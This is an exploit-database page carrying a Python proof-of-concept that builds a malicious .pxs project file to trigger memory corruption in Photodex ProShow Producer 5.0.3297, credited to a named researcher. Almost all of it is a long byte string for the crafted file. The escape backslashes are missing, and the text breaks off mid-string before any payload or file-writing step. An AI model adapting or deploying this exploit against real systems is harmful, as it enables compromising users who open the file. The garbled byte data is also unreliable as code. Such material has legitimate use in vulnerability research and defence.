[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Photodex ProShow Producer v5.0.3297 (.pxs) Memory Corruption Exploit
# Published : 2013-02-15
# Author :
# Previous Title : Windows Escalate Service Permissions Local Privilege Escalation
# Next Title : Windows AlwaysInstallElevated MSI


#!/usr/bin/python
 
# Exploit Title: Photodex ProShow Producer v5.0.3297 (.pxs) Memory Corruption Vulnerability
# Version:       <= 5.0.3297
# Date:          2013-02-14
# Author:        Julien Ahrens (@MrTuxracer)
# Homepage:      http://www.inshell.net
# Software Link: http://www.photodex.com
# Tested on:     Windows XP SP3 Professional German
# Notes:         -
# Howto:         Use the app to open the .pxs file

from struct import pack

file="exploit.pxs"

head = ("x50x68x6Fx74x6Fx64x65x78x20x50x72x65x73x65x6Ex74x65x72x20x53"+
"x74x72x65x61x6Dx1Ax0Ax0Dx0Ax1Ax00x00x00x00x04x00x01x00x6Ax00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x01x00xB2x89x00x00x00x00x00x00x03x00"+
"x00x00x74x68x75x6Dx62x6Ex61x69x6Cx00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00xBFx0Dx00x00x01xFF"+
"xD8xFFxE0x00x10x4Ax46x49x46x00x01x01x00x00x01x00x01x00x00xFF"+
"xFEx00x50x46x69x6Cx65x20x77x72x69x74x74x65x6Ex20x77x69x74x68"+
"x20x43x6Fx6Dx70x75x50x69x63x28x52x29x20x2Dx20x50x68x6Fx74x6F"+
"x64x65x78x20x43x6Fx72x70x6Fx72x61x74x69x6Fx6Ex20x28x68x74x74"+
"x70x3Ax2Fx2Fx77x77x77x2Ex70x68x6Fx74x6Fx64x65x78x2Ex63x6Fx6D"+
"x29xFFxDBx00x84x00x05x03x04x04x04x03x05x04x04x04x05x05x05x06"+
"x07x0Cx08x07x07x07x07x0Fx0Bx0Bx09x0Cx11x0Fx12x12x11x0Fx11x11"+
"x13x16x1Cx17x13x14x1Ax15x11x11x18x21x18x1Ax1Dx1Dx1Fx1Fx1Fx13"+
"x17x22x24x22x1Ex24x1Cx1Ex1Fx1Ex01x05x05x05x07x06x07x0Ex08x08"+
"x0Ex1Ex14x11x14x1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1E"+
"x1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1E"+
"x1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1Ex1ExFFxC0x00x11x08"+
"x00x55x00x71x03x01x11x00x02x11x01x03x11x01xFFxC4x00xA6x00x00"+
"x01x04x03x01x00x00x00x00x00x00x00x00x00x00x00x00x03x04x05x07"+
"x01x02x06x08x10x00x01x03x03x01x04x05x08x06x06x0Bx01x00x00x00"+
"x00x01x02x03x04x00x05x11x06x07x12x21x31x08x13x22x41x94x15x51"+
"x55x61x71x91xD1xD2x14x18x32x42x56x81x23x92xA1xA2xB1xC1x16x17"+
"x24x25x33x43x62x74x82x84x85xB2x01x01x00x03x01x01x01x00x00x00"+
"x00x00x00x00x00x00x00x00x01x03x04x02x05x06x11x00x02x02x01x03"+
"x03x02x05x00x0Ax03x00x00x00x00x00x00x01x02x03x11x04x21x31x12"+
"x13x51x05x41x14x22x52x71x81x15x23x32x33x61x91xA1xB1xF0xF1xC1"+
"xD1xE1xFFxDAx00x0Cx03x01x00x02x11x03x11x00x3Fx00xF1x95x00x50"+
"x05x00x50x05x00x50x05x00x50x05x00x50x05x00x50x05x00x50x05x00"+
"x50x1Dx96xCAxB6x7Fx74xDAx25xEEx55xAAxD7x3AxDDx09x51x62x2Ex63"+
"xCFx4Ex74xB6xDAx1Bx49x00x92x40x3Ex71x52x93x6Fx08x86xF0xB2xCB"+
"x1DxAEx8Cx9Ax91xD1x96xF5xA6x89x50xF5x5Cx17xF2x55x9Dx8Bx3Cx15"+
"xF7xEBxF2x28x3Ax2ExEAxA3xCBx58x68xBFx1ExBFx92xA7xB1x67xD2xC7"+
"x7ExBFx26x7ExABx9AxAFxF1x7Ex8CxF1xEBxF9x29xD8xB3xE9x1DxFAxFC"+
"x99xFAxADxEAxCFxC5xDAx33xC7xAFxE4xA8xECx59xF4x8ExF5x7Ex4Cx7D"+
"x56xF5x67xE2xEDx19xE3xD7xF2x53xB1x67x81xDExAFxC8x7Dx57x35x5F"+
"xE2xFDx19xE3xD7xF2x53xB3x67x82x7BxB0x7Cx33x3Fx55xADx5Cx46x46"+
"xADxD1xA4x7FxBEx5FxC9x5CxF6xE5xE0xEBxA9x1AxABxA2xEExABx4FxDA"+
"xD5xFAx30x7FxDFx5FxC9x5Dx2Ax66xFDx8Ex5DxB0x5CxB3x53xD1x87x53"+
"x8Ex7AxCBx45x78xF5xFCx95x3Fx0Fx67xD2xC8xEFxD7xE4xD4xF4x65xD4"+
"xA3x9ExB4xD1x23xFFx00x41x7Fx25x3Ex1ExDFxA5x91xDFxAFxEAx38xAD"+
"xADx6CxA6xF7xB3x88xB6xB9x77x3Bx9DxA2xE1x1ExE6x5Dx0Cx39x6Fx7C"+
"xB8x9CxB6x40x50x39x03xCEx2AxB9x41xC1xE2x48xB2x32x52x59x4CxAE"+
"xEBx93xA0xA0x0Ax02xF5xE8x74x90xADx55xABx12x46x41xD2xF2xB8x7F"+
"xC9x15xD4x1Ex24x99x12x5Dx4Bx0CxF4xD6x90xB4x32xE4x34x2Bx74x1E"+
"xC8xCFx0Ex55xEBx53x7Ex76x67x9Bx7Ex99x47x78xB3xA9x6ExC8xC6x07"+
"xE8xD3xEExABxDDx89x7Bx99x15x52x6Fx64x2DxE4x46x12x70xA6xD2x0F"+
"xACx54x2Bx22xD6x53x25xD5x34xF0xD0x2AxD5x0DxBFxB6x1Bx1ExDAxE7"+
"xB9x1Fx27x4Ax8Bx1FxB1xABx96xE8x08xE2xA2xD0xF7x57x2AxD8xBEx0B"+
"x1Ex96xC5xC8x9Bx30xECxEBx74xB4xEBxEDxB4xA0x46x32x8Cx83x55xD9"+
"x7CxA3xBCx63x92xFAx74x9Dx5Bx4Ax58x63xA6xACxB6xC5x65x48x75x97"+
"x08xFBxA8x50x49xACxD3xD5x67x67x1Cx7DxD1xAExBDx13x8ExFDx59xFB"+
"x30x76x15xB9xB6x4Ax56xDCx85x67xCEx90x6AxA5xD7x29x66x38x2Fx6A"+
"x11x8Ex27x9FxC9x05x2Ex2Cx02x4Ex22x2Fx03xBFx76xB6x42xCBx51x8E"+
"xCAx29x96xF9x23xDDxB7xC5x58xE1x15x69x07xBCx81x5Ax23x6CxFDxD2"+
"x32x4Fx4Fx52xDDx49x94x7Fx4Dx36x52xC6x88xD0x6Dx20x60x07xAEx07"+
"xF7x91x5Ex6ExB1xE6xD6x6DxD2xACx57x84x79x6AxB2x9Ax02x80x28x0B"+
"xCFxA1xEAxFAxBDx4FxABx57x8CxEExE9x79x47xF7x91x53x15x97x81x9C"+
"x1Ex94xD1xD7xC5xFDx15xB0x90x52x30x07x01xC0xD6xC8xD2xF0x72xEE"+
"x5ExE7x4AxCDxF6x57x5Ex0Ax02x8AxFBx86xEFx3AxEDxD5xB6xE4x2Bx52"+
"x79x43xB4xDCxE7x48x27x09x52x57x9CxF2xAAxBBx6Ax1Bx16x77x3AxF7"+
"x1CxB2x24xBAxBCx4Cx88x5Cx4AxBExF2x4Ex28xE3x24xB3x06x42xBAx0D"+
"xB5x34x6AxEDx82x33x8AxCAx9Cx90x90x78x80x55x9FxE5x5Ax23x64xD2"+
"xDCxC9x29xC1xBDxB8x12x56x9Ax8Ex85x85x04x2DxC1xEBx59xAEx9DxB2"+
"xC1x5Cx5Cx1BxDCx5Cx58xE2x25x04x96x42x7DxAAx34xEEx37xC9xCBxD9"+
"xE2x2CxDDxA8x4Cx80x12xDFxE4x37x8Dx56xE5x1Ex59x77xEBx38x59x14"+
"x30xC6xEFx2AxEDx74x99xE5x29xF0xD8xD2x44x44xE0xF0xABx54x91x53"+
"xC9xE7x2Ex9Dx08xEAxF4xAEx85x4Ex3FxCDx9FxFCx5BxAFx3Bx54xF3x63"+
"x3Dx0Dx37xEExCFx28x56x73x40x50x05x01x76x74x4Fx92xECx3BxCExB3"+
"x94xCExEFx58xD6x94x96xA4xEFx0Cx8Cx85x22xA6x31x52x78x64x39x74"+
"xACxA2xD8xD1xFBx46xBAx44x6BxFBx55xB2xDDx2Dx07x04x76x4Ax0Ax7F"+
"x30x6Bx77xC2x65x7CxB3x68xAAx3AxBCx3Fx9Ax29x9Dx62x76x8Bx0DxF0"+
"x56x6Dx92x1Ax70xFDxD0xE8x29x1ExCExFCx54x76x6CxADx7CxD3x58x2C"+
"xEFxD3x3Ex20xC7x90x35xF3xA9x5Ax52xC2x63x0DxD4x8DxF2xEAx40x56"+
"x7Dx58xA9x95x56x3CxEFx93xA8x4Fx4ExF6xE0x52x46xD7x8Cx2CxA2x44"+
"x78xCBx56x70x31x9Cx9Ax8Ex89xACx75x6Cx44xA9xA2x59xE8x6DxFFx00"+
"x51xB3xBBx5Ex95x74x11x2DxF0x60xA9x97xA4x4Ax69x0Ax90xD2x77xD2"+
"xD2x72x0AxB3x9Ex1Cx47x0FxCExB0xFAx8ExA7xE1xA9x73x8Bx4DxF8xC9"+
"x7Ex8Fx43x1Bx6Dx49xA7x8FxB1xDEx1Dx7BxA4xC2xB7xA4x5CxBEx8CxB0"+
"x4Ax70xE0x23x88x38x3CxB9xF1xABxA9xB5x5Dx05x28xFFx00xA3x3DxBA"+
"x6Bx28x78x7FxECx13xAFxF4x8Bx88x57xF7x98x52x52xADxDFxF0x97xDA"+
"xF5x8Ex1Cx45x6Ax8Dx56x4Bx74xB2x63x96x22xFEx6Dx89x38xB7xDBx04"+
"xA4x83x16xE7x0Dx7BxC3x20x05x8CxFBxABx87x19xC7x94x4AxC3xE1x83"+
"x97x8Bx4Ax54x52x2Ex11xB2x00x24x75xA9xE0x3DxF4x4Ex5Ex08x70x44"+
"x67xF4x92xCBx21xE7x58x62xE3x15x6Ex36x70xA0x1Cx1Cx3Ex3Fx95x77"+
"x89xA5x96x8Ex31x17xC3x3CxF9xD3xADxC4xBBxA5x74x2AxD2x41x05xD9"+
"xF8x20xFAxDBxACx76xBCxC8xD9x4AxC4x4Fx27xD5x65xA1x40x14x05xBF"+
"xD1xA5x4Bx6DxDDx78xB4x7DxA1xA4x26x11xFAxCDxD7x32x6Dx26xD1x29"+
"x65xE1x8CxE5x6Ax0Bx83xC9x4DxB1x86xF2x1Bx1BxEExADx27x81x18x04"+
"x7Ex62xB3x4AxFBx2Cx86x67x2Dx9FxB1x6Fx45x71xDAx31xDFxC8xF9xDD"+
"x5ExB6xE2xC2x41x56x0Ax52x70xA2x79x9Ex38xF7x72xAEx2Cx95xB7x57"+
"xDAx97x08xEAx0Ax15xCBxB8xB9x63x9Dx37xACx2Ex32xAExC6x0Bx0Dx25"+
"x48x23x8Ax94x9Cx92xA0x0Fx0Fx57x7Dx4Cx25x7Ex9Ax3Dx55xBDxFCx12"+
"xE3x56xA2xCCx49x6Cx75x31xE4x5BxAEx26x4Bx8Ex8FxD2xC7x73x75xF4"+
"x9Ex21xB5x1Ex01x23xDDx59x35x9AxABxEEx92x73x7CxF1x83xD8xF4xFD"+
"x35x15x41xA8xF2xB9x2Dx7Dx8BxB3x10x59xA6x85x34x95x21x72x92x51"+
"x94x77xEEx8AxF9x2Fx58x9Bx56x47xECx7BxFAx7Cx28xBCx14xF6xA7x71"+
"x48x5Bx53xDBx75x3BxEDx48x94xD2xDAx6FxB4xB0x43xA4x82xACx8Ex1C"+
"x38x0Fx65x7Dx1Ex8ExC8xEFx16xB9x4BxFBx1Ex35xF5xDAxD2x9Ex78x6F"+
"xFBx8BxE9x65xDCx2Fx53x30xE3xB3xD9x42xDBx53x80x36xD7x12x40xC8"+
"x18x00x01x9Fx3Dx5Dx3Dx5Cx74x71x7Dx2Fx1Fx92x21xA5xB7x56xD7x5A"+
"xCFxE3xFFx00x06xD7x2Bx9DxCAx0CxB5x31x21x89xCCx91xC4x07x54xA0"+
"x48xF3x8Cx0Ex55xB6xADx4AxBEx3Dx50x9Ex57xDCxC1x75x12xA2x5Dx32"+
"x8Ex3Fx07x4DxB3xFBxBCx48xB6x6BxDCxD9x76xD4xBExE3x7Bx8Bx49x79"+
"x47x04x04x9Cx8Ex3DxF5xE3x7AxA2xBAxCBxAAx84x26xE3x9CxF0x7AxDE"+
"x99xDBx8Dx36xCEx51x4Fx1Ex46x31xF6xABxA4x14xDCxFFx00xA7x69x74"+
"xA5xE6x1Dx40x47x56xF6x02xC1x3Cx78x1Ex40x55x92xD1x6BxEBxC2xAE"+
"xF9x19xFFx00x48x68xE7x97x65x4Bx6FxE0x86x3Dx2AxE7x5Bx6Ex3Bx32"+
"xD9xECxABx4Bx7Bx91x56xF5xC7x75x3BxDBxDFx79xBExFAxF5xFDx3Ax57"+
"xCAx84xF5x0Fx32xDCxF2x7Dx4Ax14xC7x50xD5x3FxB3xB1xE6xEAxDAx60"+
"x0Ax00xA0x2DxFEx8Dx85x40xEBxE2x9CxEFx0Dx1Dx34x8Fx6ExF2x2Bx99"+
"xEDx17x93xA8xF3xB1x06xEBxC8x85x6Fx4Cx80xF2xC3x8ExABx0Bx4Ex33"+
"xC3x18x38x3ExCAxF3xE0x95x92xE9x6Bx83x44x97x44x33x9Ex4Bx33x60"+
"x7Ax7ExC5x78xB7xDDx64x5DxA2xA6x4Cx56x1Cx53x69x52xB7x4Ex1Bx28"+
"x2Ax39xC8xCFxBBxCDx5Ex3FxADxEAxEDxD3x4Ax2AxB7x86xFFx00xECxFA"+
"x1Fx44xD1xD3x6Dx16x4Ex6Bx29x6DxBFx81x3Dx59xA7xEDx31x5Fx96xAB"+
"x13x4Ex3Fx1Cx36x95xB4xEAx56x14x97x09x07x97x9Fx07xF8xD7xA5xA2"+
"xD5x59x65x69xDAxF0xCCx3AxDDx2Dx55xCDxF6x56x57xB1x0DxB3x28x33"+
"x53x65xBBx3AxBDxE6xBEx91x21x24x2Dx2AxCEx70x08x50xE0x79xF1x14"+
"xF5x09xA5x28xE3xD8xB7xD2x2Ax73x8Cx93x78xCBx2DxEDx0BxA9x91xA7"+
"x74xDDxC2x44xA7x1Cx58x8ExB6xDCx75x65x20xE5x3CxB7x78x9Ex75xF2"+
"xDExA3xA7x9ExA2xE8x46x2Bx9Cx9Fx47x5Cx61x55x6Ex56x3Dx91x50xBF"+
"x75x4DxC2x64xD2xF3xAEx36x5Fx90xA7x5Bx4Ax94x51xC0xA8x9CxE0x73"+
"x3Cx6BxDFxAAxB5x05x1Cx2Ex16x0Fx06x5AxD5x25x28xCBxCExC6xFAx62"+
"xE3x78xB3x5Dx9Bx16xA9xECxA5xC7x5FxDCx71x4Fx00xB2x13x8Cx77xF0"+
"x03xF2xAExF5x35xD1x7Dx6DxCDx70xB6x2AxD3x6Ax2CxAEx6Ax31x96xCD"+
"xEEx4Fx6AxECx5DxDFxB7x8BxD5xF2x23x81xA6x90xD2x7Ax96x89x56xF1"+
"x1Cx41x50x1ExDFx65x62xD2x4FxE1x94xBBx70xC6x59xEAx6AxA8xA6xEE"+
"x97x64xF6xFFx00x93x98x9Fx62xBBxC5x5Cx98xF1x16xD3x91x3AxC2x50"+
"x85xABx2Ax4Ax4Fx2Ex3CxB3x5ExDEx9ExE5x6Cx54x9Ax3Cx0Dx56x9Ax54"+
"xCDxC5x35x81x7Dx32xA6x60xD8xD4xB9x56xC6x24x4Ax62x56xF1xDEx48"+
"xE2x38x70xFDx94xBExB9x4DxECxF1x94x46x9AxC8xD7x0Fx99x65xE4x75"+
"xD2x22x53x73xF6x59xA2x67x32xC0x61xA9x17x3BxBBx8DxB6x00x1BxA9"+
"x2Ex23x03x03x95x68xD1xD6xEBxA6x30x6Fx2Dx23x0ExAEx6AxCBxA5x24"+
"xB6x6CxA0xABx49x9Cx28x02x80xB6xBAx3Ax28xA1x9DxA0xA8x73x1Ax3A"+
"x6FxFFx00x4DxD4x49x65x12x9Ex1Ex4Ex65xB9x90xE6x84xA2x72x1Dx0D"+
"x36x9ExD7x56xA3x9FxD9x58x1Dx73xAFx78x3DxD9x73xB5x4Fx0Ax4Bx83"+
"xBDxD1x77x89x76x3Bx5CxBBx6DxA9xD4x33x16x76x1Cx75x2Ax51x2Bx00"+
"xA4xA7x74x2Bx1DxE2xBCx9Dx62x8DxCDx4AxD5x96xBFxCEx0Fx4Fx49xAB"+
"xB2x8AxE5x5Dx7Bx29x6ExC6x32x2ExB3x18xB8x39x15x85x2DxFCx28x25"+
"xA4x25x47x0DxA4xA7x9Ex05x59x18x29xD4xA5x37x82xA9xD9x25x2Fx26"+
"xDAx7AxE7x3AxCDxA6x5Dx8ExC8x48x48x79x6Fx15x3Ax32x5Cx27x03x03"+
"x1ExB1x5Dx5Fx67x76xE4xBFxC4x34xFAx89xD3x56x23xE4x52xEDx7Ax7E"+
"x7DxADxD8x65xD4x19x07x71x45xB6xD5xC3x19xE5xEDxA4x13x8CxD4x9A"+
"xDBx7DxCBx65xACx9CxEBx70x6Cx82x9DxD5xC8x61x97x9Bx74xB4xA6xC1"+
"x09x46xF1xDFxDExEFx04xD5xD5xE6x12x69xACxE7xF9x18xADxB3xADx2C"+
"x6Dx83x09x12xADxD3x42xFAxB3xBAxA4xF6x9Cx52xF7xF7x88x1CxC5x4F"+
"x54x6Dx8Ex1Bx39x8Fx55x72xCEx07x51x2Fx0Ax54x64xF6xD8x7DxC5xE0"+
"x60x76x70xACx64xF1xEEx35x55x94x6ExFDx91xA6x3AxB9xA8x6Cx35x97"+
"x79x9CxE4x17x07x56xF0x29x48xCAxCAx7ExC9xFEx7DxDExFAxD1x5Dx6A"+
"x12x58x91x9ExDDx4Dx93x4Fx24x44x4BxF5xD5x88x12x1BxEBx73x1Dx67"+
"x0Ax38xCAxB8xF0xE7xDCx2Bx6Bx49xB4xBDxCCxEAxD9xE3x07x5DxB4xF5"+
"x97x3Ax3Ex6CxD9x44xA8x93x32xEDx92xAEx67xF4x88xABxA0xB0x8AxCA"+
"x76xBBx01x40x14x05xC9xD1x7ExDBx3AxF3x3Fx5Bx5Ax2Dx91xD7x26x74"+
"xCDx27x31x98xECxA0x80xA7x16x54x8Cx24x67xBExA1xF0x09x58x5Bx0F"+
"xDAxABx19x43x7Ax0ExF0xD8x18x51x51x08x25x47xF5xABx14xEBxB2x5B"+
"xB2xD4xE2xB6x44xF4xADx92x6Dx48xDBxD5x1Dx8Dx1Bx76x4Bx8ExA3xAB"+
"x5Ax94xDAx14x07xFAxBExD6x73xC4xE2xBCxF8x68xECxEEx75x4Ax3Bx2D"+
"xCDx2ExE8xA8xE1x3DxC6xF6x7Dx8CxEDx4Ax04x15x34xEEx8DxBAxB9xBF"+
"xDAx51xDDx41x56xF7x71x1DxACxD5xB7xE9xECxB6x6Ax49x63x05x75xCE"+
"x30x58x6CxD7xFAxA3xDAxD8x8CxE4x47xB4x35xC9xD5x21x2Ax53x2ExE1"+
"x24x67x1Dx9FxBDxCExA7xE0xDFx52x9Ax58xF2x8ExA3x77x4Ex53x7Fx62"+
"x32xDBxB1x6DxAEx46x68x97x74x35xE9x4FxADx7BxC5x63x73x80xF3x1E"+
"xD5x6AxB6x87x37xB2xD8xAAx16x28xADxF9x33x7AxD8x8ExD7x5Fx59x76"+
"x36x87xB8x04xE7x25x20x27x24xF7x9FxB5x4Ax2Ax71xDAx49x8BxA6xA4"+
"xF2x8DxCExC6xB6xAEx5Ax40x77x42x5Dx9Fx3Bx84x6ExEEx25x21x07xF5"+
"xBBxEBx9Fx87x96x5Ex36x27xBAxB1xBExE3x1Bx7ExC1x76xACx24x61xCD"+
"x0Bx76x69x0Ax39x39x09x20x7ExF5x5Fx62x92x8ExCBx2CxA1x6ExF7x25"+
"x66xECx57x6AxC8x5Cx51x17x45x5DxD6xC3x44x05x24x94xE5x47x3CxC8"+
"x2AxE5x59x2BxA6x6Dx4BxADx6ExCBxA5x24xB1xD2xF8x1Bx6Ax7Dx8Cx6D"+
"x5Ex62x56x88xBBx3FxBCx12xA2x37x94x50x8CxF3xCFx0ExD7x2AxEFx49"+
"xA7xB2xBDxE6x2Dx9Cx65xC0xD7x6Ex1Ax7ExF9xA5xB6x29xB3xBBx26xA3"+
"xB7x3Fx6ExB9x33x26xE6xB7x23xBCx46xFAx52xA7x10x52x78x13xC0x81"+
"x5Ex82x58x28x28xDAx90x14x01x40x2Fx16x54x88xAEx17x23x3ExEBx2B"+
"x23x1BxCDxACxA4xE3xDAx28x07x3Ex5AxBBx7Ax4Ax6Fx88x5FxC6x80x3C"+
"xB5x76xF4x94xDFx10xBFx8Dx00x79x6AxEDxE9x29xBEx21x7Fx1Ax00xF2"+
"xD5xDBxD2x53x7Cx42xFEx34x01xE5xABxB7xA4xA6xF8x85xFCx68x03xCB"+
"x57x6Fx49x4DxF1x0BxF8xD0x07x96xAExDEx92x9BxE2x17xF1xA0x0Fx2D"+
"x5DxBDx25x37xC4x2FxE3x40x1Ex5AxBBx7Ax4Ax6Fx88x5FxC6x80x3CxB5"+
"x76xF4x94xDFx10xBFx8Dx00x84xA9xB2xE5xEExFDx2Ax4BxCFx6ExFDx9E"+
"xB1xC2xACx7BxCDx00xDAx80x28x02x80xCEx28x0Cx50x05x00x50x05x00"+
"x50x05x00x50x05x00x50x05x01x9Cx1Ax03x14x01x40x00xFFxD9x72x65"+
"x73x6Fx75x72x63x65x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x1Ax00x00x01x42x6Fx72x64x65"+
"x72x30x30x5Fx30x34x5Fx72x65x67x20x2Ex70x6Ex67x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x89x50x4Ex47x0D"+
"x0Ax1Ax0Ax00x00x00x0Dx49x48x44x52x00x00x06x40x00x00x04xB0x08"+
"x03x00x00x00x94xDFx76xA5x00x00x00x09x70x48x59x73x00x00x33x43"+
"x00x00x2Ex23x01x76x58xCDx22x00x00x0Ax4Fx69x43x43x50x50x68x6F"+
"x74x6Fx73x68x6Fx70x20x49x43x43x20x70x72x6Fx66x69x6Cx65x00x00"+
"x78xDAx9Dx53x67x54x53xE9x16x3DxF7xDExF4x42x4Bx88x80x94x4Bx6F"+
"x52x15x08x20x52x42x8Bx80x14x91x26x2Ax21x09x10x4Ax88x21xA1xD9"+
"x15x51xC1x11x45x45x04x1BxC8xA0x88x03x8Ex8Ex80x8Cx15x51x2Cx0C"+
"x8Ax0AxD8x07xE4x21xA2x8Ex83xA3x88x8AxCAxFBxE1x7BxA3x6BxD6xBC"+
"xF7xE6xCDxFExB5xD7x3ExE7xACxF3x9DxB3xCFx07xC0x08x0Cx96x48x33"+
"x51x35x80x0CxA9x42x1Ex11xE0x83xC7xC4xC6xE1xE4x2Ex40x81x0Ax24"+
"x70x00x10x08xB3x64x21x73xFDx23x01x00xF8x7Ex3Cx3Cx2Bx22xC0x07"+
"xBEx00x01x78xD3x0Bx08x00xC0x4Dx9BxC0x30x1Cx87xFFx0FxEAx42x99"+
"x5Cx01x80x84x01xC0x74x91x38x4Bx08x80x14x00x40x7Ax8Ex42xA6x00"+
"x40x46x01x80x9Dx98x26x53x00xA0x04x00x60xCBx63x62xE3x00x50x2D"+
"x00x60x27x7FxE6xD3x00x80x9DxF8x99x7Bx01x00x5Bx94x21x15x01xA0"+
"x91x00x20x13x65x88x44x00x68x3Bx00xACxCFx56x8Ax45x00x58x30x00"+
"x14x66x4BxC4x39x00xD8x2Dx00x30x49x57x66x48x00xB0xB7x00xC0xCE"+
"x10x0BxB2x00x08x0Cx00x30x51x88x85x29x00x04x7Bx00x60xC8x23x23"+
"x78x00x84x99x00x14x46xF2x57x3CxF1x2BxAEx10xE7x2Ax00x00x78x99"+
"xB2x3CxB9x24x39x45x81x5Bx08x2Dx71x07x57x57x2Ex1Ex28xCEx49x17"+
"x2Bx14x36x61x02x61x9Ax40x2ExC2x79x99x19x32x81x34x0FxE0xF3xCC"+
"x00x00xA0x91x15x11xE0x83xF3xFDx78xCEx0ExAExCExCEx36x8ExB6x0E"+
"x5Fx2DxEAxBFx06xFFx22x62x62xE3xFExE5xCFxABx70x40x00x00xE1x74"+
"x7ExD1xFEx2Cx2FxB3x1Ax80x3Bx06x80x6DxFExA2x25xEEx04x68x5Ex0B"+
"xA0x75xF7x8Bx66xB2x0Fx40xB5x00xA0xE9xDAx57xF3x70xF8x7Ex3Cx3C"+
"x45xA1x90xB9xD9xD9xE5xE4xE4xD8x4AxC4x42x5Bx61xCAx57x7DxFEx67"+
"xC2x5FxC0x57xFDx6CxF9x7Ex3CxFCxF7xF5xE0xBExE2x24x81x32x5Dx81"+
"x47x04xF8xE0xC2xCCxF4x4CxA5x1CxCFx92x09x84x62xDCxE6x8Fx47xFC"+
"xB7x0BxFFxFCx1DxD3x22xC4x49x62xB9x58x2Ax14xE3x51x12x71x8Ex44"+
"x9Ax8CxF3x32xA5x22x89x42x92x29xC5x25xD2xFFx64xE2xDFx2CxFBx03"+
"x3ExDFx35x00xB0x6Ax3Ex01x7Bx91x2DxA8x5Dx63x03xF6x4Bx27x10x58"+
"x74xC0xE2xF7x00x00xF2xBBx6FxC1xD4x28x08x03x80x68x83xE1xCFx77"+
"xFFxEFx3FxFDx47xA0x25x00x80x66x49x92x71x00x00x5Ex44x24x2Ex54"+
"xCAxB3x3FxC7x08x00x00x44xA0x81x2AxB0x41x1BxF4xC1x18x2CxC0x06"+
"x1CxC1x05xDCxC1x0BxFCx60x36x84x42x24xC4xC2x42x10x42x0Ax64x80"+
"x1Cx72x60x29xACx82x42x28x86xCDxB0x1Dx2Ax60x2FxD4x40x1Dx34xC0"+
"x51x68x86x93x70x0Ex2ExC2x55xB8x0Ex3Dx70x0FxFAx61x08x9ExC1x28"+
"xBCx81x09x04x41xC8x08x13x61x21xDAx88x01x62x8Ax58x23x8Ex08x17"+
"x99x85xF8x21xC1x48x04x12x8Bx24x20xC9x88x14x51x22x4Bx91x35x48"+
"x31x52x8Ax54x20x55x48x1DxF2x3Dx72x02x39x87x5Cx46xBAx91x3BxC8"+
"x00x32x82xFCx86xBCx47x31x94x81xB2x51x3DxD4x0CxB5x43xB9xA8x37"+
"x1Ax84x46xA2x0BxD0x64x74x31x9Ax8Fx16xA0x9BxD0x72xB4x1Ax3Dx8C"+
"x36xA1xE7xD0xABx68x0FxDAx8Fx3Ex43xC7x30xC0xE8x18x07x33xC4x6C"+
"x30x2ExC6xC3x42xB1x38x2Cx09x93x63xCBxB1x22xACx0CxABxC6x1AxB0"+
"x56xACx03xBBx89xF5x63xCFxB1x77x04x12x81x45xC0x09x36x04x77x42"+
"x20x61x1Ex41x48x58x4Cx58x4ExD8x48xA8x20x1Cx24x34x11xDAx09x37"+
"x09x03x84x51xC2x27x22x93xA8x4BxB4x26xBAx11xF9xC4x18x62x32x31"+
"x87x58x48x2Cx23xD6x12x8Fx13x2Fx10x7Bx88x43xC4x37x24x12x89x43"+
"x32x27xB9x90x02x49xB1xA4x54xD2x12xD2x46xD2x6Ex52x23xE9x2CxA9"+
"x9Bx34x48x1Ax23x93xC9xDAx64x6BxB2x07x39x94x2Cx20x2BxC8x85xE4"+
"x9DxE4xC3xE4x33xE4x1BxE4x21xF2x5Bx0Ax9Dx62x40x71xA4xF8x53xE2"+
"x28x52xCAx6Ax4Ax19xE5x10xE5x34xE5x06x65x98x32x41x55xA3x9Ax52"+
"xDDxA8xA1x54x11x35x8Fx5Ax42xADxA1xB6x52xAFx51x87xA8x13x34x75"+
"x9Ax39xCDx83x16x49x4BxA5xADxA2x95xD3x1Ax68x17x68xF7x69xAFxE8"+
"x74xBAx11xDDx95x1Ex4Ex97xD0x57xD2xCBxE9x47xE8x97xE8x03xF4x77"+
"x0Cx0Dx86x15x83xC7x88x67x28x19x9Bx18x07x18x67x19x77x18xAFx98"+
"x4CxA6x19xD3x8Bx19xC7x54x30x37x31xEBx98xE7x99x0Fx99x6Fx55x58"+
"x2AxB6x2Ax7Cx15x91xCAx0Ax95x4Ax95x26x95x1Bx2Ax2Fx54xA9xAAxA6"+
"xAAxDExAAx0Bx55xF3x55xCBx54x8FxA9x5Ex53x7DxAEx46x55x33x53xE3"+
"xA9x09xD4x96xABx55xAAx9Dx50xEBx53x1Bx53x67xA9x3BxA8x87xAAx67"+
